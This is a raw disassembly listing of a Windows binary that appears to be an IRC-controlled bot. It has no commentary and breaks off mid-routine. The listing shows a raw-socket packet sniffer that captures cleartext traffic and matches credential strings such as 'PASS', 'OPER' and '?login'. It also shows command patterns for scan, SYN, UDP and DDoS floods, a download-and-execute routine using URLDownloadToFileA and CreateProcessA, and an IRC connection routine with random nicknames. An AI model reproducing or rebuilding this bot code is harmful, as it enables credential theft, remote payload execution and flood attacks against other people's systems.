		mov	eax, [ebp-20h]
		shr	eax, 14h
		push	eax
		push	dword ptr [ebp-48h]
		push	dword ptr [ebp-2A8h]
		lea	eax, [ebp-298h]
		push	eax
		push	offset aSyn_16sDoneUms ; "[syn:%.16s] done [%ums] [%u packets] [%"...
		lea	eax, [ebp-248h]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	eax
		call	sub_402C53


loc_404860:				; CODE XREF: MEW:004047D3j
		xor	eax, eax


loc_404862:				; CODE XREF: MEW:0040450Dj
					; MEW:00404539j ...
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404868	proc near		; CODE XREF: MEW:004046A0p
					; MEW:004046C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404870:				; CODE XREF: sub_404868+2Aj
		cmp	[ebp+arg_4], 2
		jb	short loc_404894
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		add	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404870
; ---------------------------------------------------------------------------


loc_404894:				; CODE XREF: sub_404868+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4048A6
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		add	eax, [ebp+var_4]
		mov	[ebp+var_4], eax


loc_4048A6:				; CODE XREF: sub_404868+30j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		add	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn	8
sub_404868	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048CF	proc near		; CODE XREF: sub_403062:loc_4033A6p
		push	ebp
		mov	ebp, esp
		cmp	dword_401688, 1
		jnz	short loc_4048F7
		and	dword_401688, 0
		push	0
		push	0
		push	0
		push	offset loc_404908
		push	0
		push	0
		call	dword_4010B4	; CreateThread


loc_4048F7:				; CODE XREF: sub_4048CF+Aj
		pop	ebp
		retn
sub_4048CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048F9	proc near		; CODE XREF: sub_403062:loc_4033B0p
		push	ebp
		mov	ebp, esp
		mov	dword_401688, 1
		pop	ebp
		retn
sub_4048F9	endp

; ---------------------------------------------------------------------------


loc_404908:				; DATA XREF: sub_4048CF+19o
		push	ebp
		mov	ebp, esp
		sub	esp, 1F8h
		mov	dword ptr [ebp-10h], 10h
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1F8h]
		push	eax
		push	dword_4014DC
		call	dword_401134	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40493B
		xor	eax, eax
		jmp	locret_404C4D
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: MEW:00404932j
		and	word ptr [ebp-1F6h], 0
		push	0
		push	3
		push	2
		call	dword_401160	; socket
		mov	[ebp-38h], eax
		cmp	dword ptr [ebp-38h], 0FFFFFFFFh
		jnz	short loc_40495F
		xor	eax, eax
		jmp	locret_404C4D
; ---------------------------------------------------------------------------


loc_40495F:				; CODE XREF: MEW:00404956j
		push	10h
		lea	eax, [ebp-1F8h]
		push	eax
		push	dword ptr [ebp-38h]
		call	dword_401148	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404986
		push	dword ptr [ebp-38h]
		call	dword_401140	; closesocket
		xor	eax, eax
		jmp	locret_404C4D
; ---------------------------------------------------------------------------


loc_404986:				; CODE XREF: MEW:00404974j
		mov	dword ptr [ebp-14h], 1
		push	0
		push	0
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp-14h]
		push	eax
		push	98000001h
		push	dword ptr [ebp-38h]
		call	dword_401118	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4049C2
		push	dword ptr [ebp-38h]
		call	dword_401140	; closesocket
		xor	eax, eax
		jmp	locret_404C4D
; ---------------------------------------------------------------------------


loc_4049C2:				; CODE XREF: MEW:004049B0j
		push	10000h
		push	0
		call	dword_401090	; GlobalAlloc
		mov	[ebp-48h], eax
		mov	eax, [ebp-48h]
		mov	[ebp-34h], eax


loc_4049D8:				; CODE XREF: MEW:004049FDj
					; MEW:00404A0Bj ...
		cmp	dword_401688, 0
		jnz	loc_404C42
		push	0
		push	10000h
		push	dword ptr [ebp-48h]
		push	dword ptr [ebp-38h]
		call	dword_40113C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4049FF
		jmp	short loc_4049D8
; ---------------------------------------------------------------------------


loc_4049FF:				; CODE XREF: MEW:004049FBj
		mov	eax, [ebp-34h]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jz	short loc_404A0D
		jmp	short loc_4049D8
; ---------------------------------------------------------------------------


loc_404A0D:				; CODE XREF: MEW:00404A09j
		mov	eax, [ebp-34h]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		shl	eax, 2
		mov	[ebp-40h], eax
		cmp	dword ptr [ebp-40h], 3Ch
		jbe	short loc_404A24
		jmp	short loc_4049D8
; ---------------------------------------------------------------------------


loc_404A24:				; CODE XREF: MEW:00404A20j
		mov	eax, [ebp-34h]
		mov	ax, [eax+2]
		push	eax
		call	dword_401114	; ntohs
		movzx	eax, ax
		mov	[ebp-4Ch], eax
		mov	eax, [ebp-48h]
		add	eax, [ebp-40h]
		mov	[ebp-60h], eax
		mov	eax, [ebp-60h]
		movzx	eax, byte ptr [eax+0Ch]
		sar	eax, 4
		shl	eax, 2
		mov	[ebp-30h], eax
		mov	eax, [ebp-40h]
		add	eax, [ebp-30h]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		cmp	eax, [ebp-4Ch]
		jb	short loc_404A67
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: MEW:00404A60j
		mov	eax, [ebp-4Ch]
		sub	eax, [ebp-8]
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-60h]
		mov	ax, [eax]
		push	eax
		call	dword_401114	; ntohs
		mov	[ebp-4], ax
		mov	eax, [ebp-60h]
		mov	ax, [eax+2]
		push	eax
		call	dword_401114	; ntohs
		mov	[ebp-28h], ax
		movzx	eax, word ptr [ebp-4]
		cmp	eax, 50h
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-28h]
		cmp	eax, 50h
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-4]
		cmp	eax, 19h
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-28h]
		cmp	eax, 19h
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-4]
		cmp	eax, 6Eh
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-28h]
		cmp	eax, 6Eh
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-4]
		cmp	eax, 8Bh
		jz	short loc_404ADF
		movzx	eax, word ptr [ebp-28h]
		cmp	eax, 8Bh
		jnz	short loc_404AE4


loc_404ADF:				; CODE XREF: MEW:00404A9Aj
					; MEW:00404AA3j ...
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404AE4:				; CODE XREF: MEW:00404ADDj
		mov	eax, [ebp-48h]
		add	eax, [ebp-8]
		mov	[ebp-1E8h], eax
		mov	eax, [ebp-1E8h]
		add	eax, [ebp-3Ch]
		mov	byte ptr [eax],	0
		and	dword ptr [ebp-1E4h], 0
		and	dword ptr [ebp-2Ch], 0
		jmp	short loc_404B10
; ---------------------------------------------------------------------------


loc_404B09:				; CODE XREF: MEW:loc_404B75j
		mov	eax, [ebp-2Ch]
		inc	eax
		mov	[ebp-2Ch], eax


loc_404B10:				; CODE XREF: MEW:00404B07j
		mov	eax, [ebp-2Ch]
		cmp	eax, [ebp-3Ch]
		jnb	short loc_404B77
		mov	eax, [ebp-1E8h]
		add	eax, [ebp-2Ch]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_404B39
		mov	eax, [ebp-1E8h]
		add	eax, [ebp-2Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_404B47


loc_404B39:				; CODE XREF: MEW:00404B26j
		mov	dword ptr [ebp-1E4h], 1
		jmp	short loc_404B77
; ---------------------------------------------------------------------------
		db 0EBh, 2Eh
; ---------------------------------------------------------------------------


loc_404B47:				; CODE XREF: MEW:00404B37j
		mov	eax, [ebp-1E8h]
		add	eax, [ebp-2Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_404B69
		mov	eax, [ebp-1E8h]
		add	eax, [ebp-2Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_404B75


loc_404B69:				; CODE XREF: MEW:00404B56j
		mov	eax, [ebp-1E8h]
		add	eax, [ebp-2Ch]
		mov	byte ptr [eax],	20h


loc_404B75:				; CODE XREF: MEW:00404B67j
		jmp	short loc_404B09
; ---------------------------------------------------------------------------


loc_404B77:				; CODE XREF: MEW:00404B16j
					; MEW:00404B43j
		cmp	dword ptr [ebp-1E4h], 1
		jnz	short loc_404B85
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404B85:				; CODE XREF: MEW:00404B7Ej
		push	offset dword_4016F8
		push	dword ptr [ebp-1E8h]
		call	sub_40398B
		test	eax, eax
		jz	short loc_404B9E
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404B9E:				; CODE XREF: MEW:00404B97j
		push	dword ptr [ebp-1E8h]
		call	sub_404C51
		cmp	eax, 1
		jnz	loc_404C3D
		mov	eax, [ebp-34h]
		push	dword ptr [eax+0Ch]
		call	dword_401164	; inet_ntoa
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_404BCC
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404BCC:				; CODE XREF: MEW:00404BC5j
		push	10h
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_4010BC	; lstrcpynA
		mov	eax, [ebp-34h]
		push	dword ptr [eax+10h]
		call	dword_401164	; inet_ntoa
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_404BF5
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404BF5:				; CODE XREF: MEW:00404BEEj
		push	10h
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-24h]
		push	eax
		call	dword_4010BC	; lstrcpynA
		push	dword ptr [ebp-1E8h]
		movzx	eax, word ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		push	offset a_16sHu_16sHu_2 ; "[%.16s:%hu->%.16s:%hu] \"%.256s\""
		lea	eax, [ebp-1E0h]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 1Ch
		lea	eax, [ebp-1E0h]
		push	eax
		call	sub_402C53


loc_404C3D:				; CODE XREF: MEW:00404BACj
		jmp	loc_4049D8
; ---------------------------------------------------------------------------


loc_404C42:				; CODE XREF: MEW:004049DFj
		push	dword ptr [ebp-48h]
		call	dword_40108C	; GlobalFree
		xor	eax, eax

locret_404C4D:				; CODE XREF: MEW:00404936j
					; MEW:0040495Aj ...
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C51	proc near		; CODE XREF: MEW:00404BA4p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_38], offset a_332? ; "*:*.* 332 * #* :?* *"
		mov	[ebp+var_34], offset aPrivmsg? ; "*PRIVMSG * :?* *"
		mov	[ebp+var_30], offset a?login ; "* :?login * *"
		mov	[ebp+var_2C], offset a?set ; "*	:?set *	* *"
		mov	[ebp+var_28], offset a?Scan ; "* :?*scan* *"
		mov	[ebp+var_24], offset a?Syn ; "*	:?*syn*	*"
		mov	[ebp+var_20], offset a?Udp ; "*	:?*udp*	*"
		mov	[ebp+var_1C], offset a?Ddos ; "* :?*ddos* *"
		mov	[ebp+var_18], offset aUser? ; "USER ?* "
		mov	[ebp+var_14], offset aPass? ; "PASS ?* "
		mov	[ebp+var_10], offset aOper?? ; "OPER ?*	?* *"
		mov	[ebp+var_C], offset aJoin ; "JOIN #* *"
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_404CBC
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_404C51:loc_404CDFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CBC:				; CODE XREF: sub_404C51+62j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax*4+var_38], 0
		jz	short loc_404CE1
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_38]
		call	sub_403E5B
		cmp	eax, 1
		jnz	short loc_404CDF
		xor	eax, eax
		inc	eax
		jmp	short locret_404CE3
; ---------------------------------------------------------------------------


loc_404CDF:				; CODE XREF: sub_404C51+87j
		jmp	short loc_404CB5
; ---------------------------------------------------------------------------


loc_404CE1:				; CODE XREF: sub_404C51+73j
		xor	eax, eax

locret_404CE3:				; CODE XREF: sub_404C51+8Cj
		leave
		retn	4
sub_404C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CE7	proc near		; CODE XREF: sub_403062+316p

var_3AC		= dword	ptr -3ACh
var_3A8		= byte ptr -3A8h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_110		= byte ptr -110h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		and	[ebp+var_218], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_214], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_210], eax
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4010BC	; lstrcpynA
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		push	offset byte_401C65
		push	offset a_	; "."
		call	dword_401094	; GetTempFileNameA
		push	0
		push	0
		lea	eax, [ebp+var_218]
		push	eax
		push	offset loc_404D6C
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		test	eax, eax
		jz	short locret_404D68


loc_404D55:				; CODE XREF: sub_404CE7+7Fj
		cmp	[ebp+var_218], 0
		jnz	short locret_404D68
		push	8
		call	dword_4010DC	; Sleep
		jmp	short loc_404D55
; ---------------------------------------------------------------------------

locret_404D68:				; CODE XREF: sub_404CE7+6Cj
					; sub_404CE7+75j
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_404D6C:				; DATA XREF: sub_404CE7+5Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 3ACh
		push	offset aUrlmon_dll ; "urlmon.dll"
		call	dword_401068	; LoadLibraryA
		mov	[ebp+var_224], eax
		cmp	[ebp+var_224], 0
		jz	short loc_404DAF
		push	offset aUrldownloadtof ; "URLDownloadToFileA"
		push	[ebp+var_224]
		call	dword_401064	; GetProcAddress
		mov	[ebp+var_3AC], eax
		cmp	[ebp+var_3AC], 0
		jnz	short loc_404DB6


loc_404DAF:				; CODE XREF: sub_404CE7+A6j
		xor	eax, eax
		jmp	locret_404EFE
; ---------------------------------------------------------------------------


loc_404DB6:				; CODE XREF: sub_404CE7+C6j
		push	214h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40392B
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 1
		call	dword_40106C	; GetCurrentThreadId
		mov	[ebp+var_4], eax
		cmp	[ebp+var_218], 0
		jnz	short loc_404E17
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+var_4]
		push	offset aDl08x_180sTo_1 ; "[dl:%08x] %.180s to %.180s"
		lea	eax, [ebp+var_3A8]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_402C53


loc_404E17:				; CODE XREF: sub_404CE7+FCj
		push	0
		push	0
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	0
		call	[ebp+var_3AC]
		test	eax, eax
		jnz	loc_404ECF
		push	offset dword_4015F0
		push	offset aD	; "D"
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		call	dword_4010A8	; CreateProcessA
		cmp	eax, 1
		jnz	short loc_404EA0
		cmp	[ebp+var_218], 0
		jnz	short loc_404E90
		push	[ebp+var_4]
		push	offset aDl08x	; "[dl:%08x] :)"
		lea	eax, [ebp+var_3A8]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_402C53


loc_404E90:				; CODE XREF: sub_404CE7+183j
		cmp	[ebp+var_21C], 1
		jnz	short loc_404E9E
		call	sub_4027AF


loc_404E9E:				; CODE XREF: sub_404CE7+1B0j
		jmp	short loc_404ECD
; ---------------------------------------------------------------------------


loc_404EA0:				; CODE XREF: sub_404CE7+17Aj
		cmp	[ebp+var_218], 0
		jnz	short loc_404ECD
		push	[ebp+var_4]
		push	offset aDl08xExec ; "[dl:%08x] :( exec"
		lea	eax, [ebp+var_3A8]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_402C53


loc_404ECD:				; CODE XREF: sub_404CE7:loc_404E9Ej
					; sub_404CE7+1C0j
		jmp	short loc_404EFC
; ---------------------------------------------------------------------------


loc_404ECF:				; CODE XREF: sub_404CE7+14Cj
		cmp	[ebp+var_218], 0
		jnz	short loc_404EFC
		push	[ebp+var_4]
		push	offset aDl08xDl	; "[dl:%08x] :(	dl"
		lea	eax, [ebp+var_3A8]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_402C53


loc_404EFC:				; CODE XREF: sub_404CE7:loc_404ECDj
					; sub_404CE7+1EFj
		xor	eax, eax

locret_404EFE:				; CODE XREF: sub_404CE7+CAj
		leave
		retn	4
sub_404CE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F02	proc near		; CODE XREF: sub_403062+2C2p

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_C		= word ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		cmp	dword_40168C, 0
		jnz	short loc_404F16
		jmp	locret_404FBB
; ---------------------------------------------------------------------------


loc_404F16:				; CODE XREF: sub_404F02+Dj
		push	20h
		push	[ebp+arg_0]
		call	sub_40395A
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404F2E
		jmp	locret_404FBB
; ---------------------------------------------------------------------------


loc_404F2E:				; CODE XREF: sub_404F02+25j
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	40h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_4010BC	; lstrcpynA
		and	[ebp+var_C], 0
		jmp	short loc_404F58
; ---------------------------------------------------------------------------


loc_404F51:				; CODE XREF: sub_404F02+81j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F58:				; CODE XREF: sub_404F02+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_404F85
		movzx	eax, [ebp+var_C]
		imul	eax, 0Ah
		mov	[ebp+var_C], ax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		sub	eax, 30h
		movzx	eax, ax
		movzx	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], cx
		jmp	short loc_404F51
; ---------------------------------------------------------------------------


loc_404F85:				; CODE XREF: sub_404F02+5Ej
		and	[ebp+var_50], 0
		and	dword_40168C, 0
		push	0
		push	0
		lea	eax, [ebp+var_50]
		push	eax
		push	offset loc_40501F
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		test	eax, eax
		jz	short locret_404FBB


loc_404FAB:				; CODE XREF: sub_404F02+B7j
		cmp	[ebp+var_50], 0
		jnz	short locret_404FBB
		push	8
		call	dword_4010DC	; Sleep
		jmp	short loc_404FAB
; ---------------------------------------------------------------------------

locret_404FBB:				; CODE XREF: sub_404F02+Fj
					; sub_404F02+27j ...
		leave
		retn	4
sub_404F02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FBF	proc near		; CODE XREF: sub_403062:loc_40332Ep
		push	ebp
		mov	ebp, esp
		mov	dword_40168C, 1
		pop	ebp
		retn
sub_404FBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FCE	proc near		; CODE XREF: sub_403062+2E8p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		cmp	dword_40168C, 1
		jnz	short loc_404FE2
		jmp	short locret_40501B
; ---------------------------------------------------------------------------


loc_404FE2:				; CODE XREF: sub_404FCE+10j
		push	[ebp+arg_0]
		push	offset a_500s	; "%.500s\n"
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		push	0
		push	[ebp+var_204]
		lea	eax, [ebp+var_200]
		push	eax
		push	dword_4014D0
		call	dword_401130	; send

locret_40501B:				; CODE XREF: sub_404FCE+12j
		leave
		retn	4
sub_404FCE	endp

; ---------------------------------------------------------------------------


loc_40501F:				; DATA XREF: sub_404F02+96o
		push	ebp
		mov	ebp, esp
		sub	esp, 5B0h
		push	esi
		push	edi
		mov	esi, [ebp+8]
		push	11h
		pop	ecx
		lea	edi, [ebp-598h]
		rep movsd
		movsw
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 1
		call	dword_4010A4	; GetTickCount
		mov	[ebp-5A0h], eax
		mov	eax, [ebp-5A0h]
		and	eax, 3
		add	eax, 5
		mov	[ebp-54Ch], eax
		mov	eax, [ebp-5A0h]
		shr	eax, 1
		mov	[ebp-5A0h], eax
		mov	eax, [ebp-5A0h]
		and	eax, 3
		add	eax, 4
		mov	[ebp-4], eax
		mov	eax, [ebp-5A0h]
		shr	eax, 1
		mov	[ebp-5A0h], eax
		mov	eax, [ebp-5A0h]
		and	eax, 3
		add	eax, 4
		mov	[ebp-28h], eax
		call	dword_4010A4	; GetTickCount
		mov	[ebp-5A0h], eax
		and	dword ptr [ebp-24h], 0
		jmp	short loc_4050B4
; ---------------------------------------------------------------------------


loc_4050AD:				; CODE XREF: MEW:004050F8j
		mov	eax, [ebp-24h]
		inc	eax
		mov	[ebp-24h], eax


loc_4050B4:				; CODE XREF: MEW:004050ABj
		mov	eax, [ebp-24h]
		cmp	eax, [ebp-54Ch]
		jnb	short loc_4050FA
		mov	eax, [ebp-5A0h]
		xor	eax, 96F050F2h
		mov	[ebp-5A0h], eax
		mov	eax, [ebp-5A0h]
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp-24h]
		mov	[ebp+eax-548h],	dl
		mov	eax, [ebp-5A0h]
		shr	eax, 1
		mov	[ebp-5A0h], eax
		jmp	short loc_4050AD
; ---------------------------------------------------------------------------


loc_4050FA:				; CODE XREF: MEW:004050BDj
		mov	eax, [ebp-24h]
		mov	byte ptr [ebp+eax-548h], 0
		and	dword ptr [ebp-24h], 0
		jmp	short loc_405112
; ---------------------------------------------------------------------------


loc_40510B:				; CODE XREF: MEW:00405153j
		mov	eax, [ebp-24h]
		inc	eax
		mov	[ebp-24h], eax


loc_405112:				; CODE XREF: MEW:00405109j
		mov	eax, [ebp-24h]
		cmp	eax, [ebp-4]
		jnb	short loc_405155
		mov	eax, [ebp-5A0h]
		xor	eax, 78D6BA83h
		mov	[ebp-5A0h], eax
		mov	eax, [ebp-5A0h]
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp-24h]
		mov	[ebp+eax-5B0h],	dl
		mov	eax, [ebp-5A0h]
		shr	eax, 1
		mov	[ebp-5A0h], eax
		jmp	short loc_40510B
; ---------------------------------------------------------------------------


loc_405155:				; CODE XREF: MEW:00405118j
		mov	eax, [ebp-24h]
		mov	byte ptr [ebp+eax-5B0h], 0
		and	dword ptr [ebp-24h], 0
		jmp	short loc_40516D
; ---------------------------------------------------------------------------


loc_405166:				; CODE XREF: MEW:004051AEj
		mov	eax, [ebp-24h]
		inc	eax
		mov	[ebp-24h], eax


loc_40516D:				; CODE XREF: MEW:00405164j
		mov	eax, [ebp-24h]
		cmp	eax, [ebp-28h]
		jnb	short loc_4051B0
		mov	eax, [ebp-5A0h]
		xor	eax, 0D9503521h
		mov	[ebp-5A0h], eax
		mov	eax, [ebp-5A0h]
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp-24h]
		mov	[ebp+eax-138h],	dl
		mov	eax, [ebp-5A0h]
		shr	eax, 1
		mov	[ebp-5A0h], eax
		jmp	short loc_405166
; ---------------------------------------------------------------------------


loc_4051B0:				; CODE XREF: MEW:00405173j
		mov	eax, [ebp-24h]
		mov	byte ptr [ebp+eax-138h], 0
		push	6
		push	1
		push	2
		call	dword_401160	; socket
		mov	dword_4014D0, eax
		cmp	dword_4014D0, 0FFFFFFFFh
		jnz	short loc_4051DC
		xor	eax, eax
		jmp	loc_40538E
; ---------------------------------------------------------------------------


loc_4051DC:				; CODE XREF: MEW:004051D3j
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-554h]
		call	dword_40110C	; ntohs
		mov	[ebp-16h], ax
		lea	eax, [ebp-594h]
		push	eax
		call	dword_40111C	; inet_addr
		mov	[ebp-14h], eax
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	dword_4014D0
		call	dword_40112C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405220
		xor	eax, eax
		jmp	loc_40538E
; ---------------------------------------------------------------------------


loc_405220:				; CODE XREF: MEW:00405217j
		lea	eax, [ebp-138h]
		push	eax
		lea	eax, [ebp-594h]
		push	eax
		lea	eax, [ebp-5B0h]
		push	eax
		push	offset aUser_16s_16s_1 ; "USER %.16s \"\" \"%.16s\" %.16s\n"
		lea	eax, [ebp-128h]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 14h
		mov	[ebp-550h], eax
		push	0
		push	dword ptr [ebp-550h]
		lea	eax, [ebp-128h]
		push	eax
		push	dword_4014D0
		call	dword_401130	; send
		lea	eax, [ebp-548h]
		push	eax
		push	offset aNick_16s ; "NICK %.16s\n"
		lea	eax, [ebp-128h]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	[ebp-550h], eax
		push	0
		push	dword ptr [ebp-550h]
		lea	eax, [ebp-128h]
		push	eax
		push	dword_4014D0
		call	dword_401130	; send
		and	dword ptr [ebp-8], 0


loc_4052AC:				; CODE XREF: MEW:loc_40537Bj
		cmp	dword_40168C, 0
		jnz	loc_405380
		push	0
		mov	eax, 400h
		sub	eax, [ebp-8]
		push	eax
		mov	eax, [ebp-8]
		lea	eax, [ebp+eax-538h]
		push	eax
		push	dword_4014D0
		call	dword_40113C	; recv
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0
		jle	loc_405380
		mov	eax, [ebp-8]
		add	eax, [ebp-1Ch]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	byte ptr [ebp+eax-538h], 0
		lea	eax, [ebp-538h]
		mov	[ebp-59Ch], eax


loc_405308:				; CODE XREF: MEW:loc_405375j
		mov	eax, [ebp-59Ch]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_405377
		push	0Dh
		push	dword ptr [ebp-59Ch]
		call	sub_40395A
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_405349
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	0
		push	dword ptr [ebp-59Ch]
		call	sub_405394
		mov	eax, [ebp-20h]
		inc	eax
		inc	eax
		mov	[ebp-59Ch], eax
		jmp	short loc_405375
; ---------------------------------------------------------------------------


